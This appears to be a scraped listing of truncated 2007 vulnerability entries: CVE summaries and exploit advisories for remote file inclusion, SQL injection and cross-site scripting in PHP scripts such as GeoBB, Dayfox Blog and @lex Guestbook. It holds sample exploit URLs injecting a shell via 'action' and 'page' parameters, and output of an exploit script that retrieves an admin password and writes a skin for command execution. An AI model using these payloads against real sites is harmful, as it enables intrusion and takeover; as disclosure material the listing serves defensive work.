geobb-rfi.txt

BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : GeoBB Georgian Bulletin Board Script Download : http://hotscripts.com/Detailed/58100.html Risk : High Found By : ShaFuck31 Vulnerable file : index.php Vuln. Code: require$action.'.php'; Vuln : http://www.victim.com/ScriptPath/index.php?action=she...

Naig <= 0.5.2 (this_path) Remote File Include Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Naig = 0.5.2 thispath Remote File Include Vulnerability Script : Naig Version : 0.5.2 URL : http://mesh.dl.sourceforge.net/sourceforge/naig/naig-0.5.2.zip Found By : -= BorN To K!LL =-...

dayfox-rfi.txt

BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : Dayfox Blog Script Download : http://hotscripts.com/Detailed/66344.html Risk : High Found By : ShaFuck31 Vulnerable file : index.php Vuln : http://www.victim.com/ScriptPath/index.php?page=sheLL...

CVE-2007-0186

Multiple cross-site scripting XSS vulnerabilities in F5 FirePass SSL VPN allow remote attackers to inject arbitrary web script or HTML via 1 the xcho parameter to my.logon.php3; the 2 topblue, 3 midblue, 4 wtopblue, and certain other Custom color parameters in a per action to...

TLM CMS <= 1.1 (i-accueil.php chemin) Remote File Include Vulnerability

/ Citations Alatoires v1.1 ========================================================= Published : 2007-01-12 Remote: Yes Site: ftp://ftp1.comscripts.com/PHP/1809citation-11.zip Author: GolDM = Mahmoodali Contact: [email protected] ===================================================== ThanX =All My...

Sql injection

SQL injection vulnerability in index.php in @lex Guestbook 4.0.2 and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the lang parameter...

CVE-2007-0202

SQL injection vulnerability in index.php in @lex Guestbook 4.0.2 and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the lang parameter...

CVE-2007-0202

CVE-2007-0202 describes a SQL injection in the Web Guestbook app. Affected software: @lex Guestbook 4.0.2 and earlier, specifically via the index.php handler. Root cause: when magic_quotes_gpc is disabled, the parameter lang is unsafely used in a SQL query, enabling an attacker to inject arbitrar...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in AllMyVisitors 0.4.0 allows remote attackers to execute arbitrary PHP code via a URL in the AMVserverpath parameter...

CVE-2007-0173: Undefined Security Weakness

Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when registerglobals is enabled and magicquotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the page parameter, as demonstrated by injecting PHP...

CVE-2007-0171

AllMyLinks 0.5.0 and earlier are affected by a PHP remote file inclusion in index.php via the AML_opensite parameter, enabling arbitrary PHP code execution. The root cause is a inadequate validation/handling of user-supplied URLs in AML_opensite. Affected component: index.php; vulnerable function...

CVE-2007-0189: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in GeoBB Georgian Bulletin Board allows remote attackers to execute arbitrary PHP code via a URL in the action parameter. NOTE: CVE disputes this issue, since GeoBB 1.0 sets $action to a whitelisted value...

CVE-2007-0186: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in F5 FirePass SSL VPN allow remote attackers to inject arbitrary web script or HTML via 1 the xcho parameter to my.logon.php3; the 2 topblue, 3 midblue, 4 wtopblue, and certain other Custom color parameters in a per action to...

CVE-2007-0170: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in AllMyVisitors 0.4.0 allows remote attackers to execute arbitrary PHP code via a URL in the AMVserverpath parameter...

PT-2007-1673 · Geobb · Geobb

Name of the Vulnerable Software and Affected Versions: GeoBB Georgian Bulletin Board versions prior to 1.0 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the action parameter in the index.php file. However, it's noted that GeoBB 1.0 sets $action to a...

CVE-2007-0171: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in AllMyLinks 0.5.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the AMLopensite parameter...

CVE-2007-0202: Undefined Security Weakness

SQL injection vulnerability in index.php in @lex Guestbook 4.0.2 and earlier, when magicquotesgpc is disabled, allows remote attackers to execute arbitrary SQL commands via the lang parameter...

CVE-2007-0150: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in index.php in Dayfox Blog allow remote attackers to execute arbitrary PHP code via a URL in the 1 page, 2 subject, and 3 q parameters...

CVE-2007-0143: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in NUNE News Script 2.0pre2 allow remote attackers to execute arbitrary PHP code via a URL in the customadminpath parameter to 1 index.php or 2 archives.php...

@lex Guestbook 4.0.2 - Remote Command Execution

!/usr/bin/php @lex Guestbook ======================================================== | status Retrieving the administrator password | sploit AdminUsername::root | sploit AdminPassword::toor | status Trying to get logged in | sploit Done | status Trying to add a skin | sploit Done | status Writin...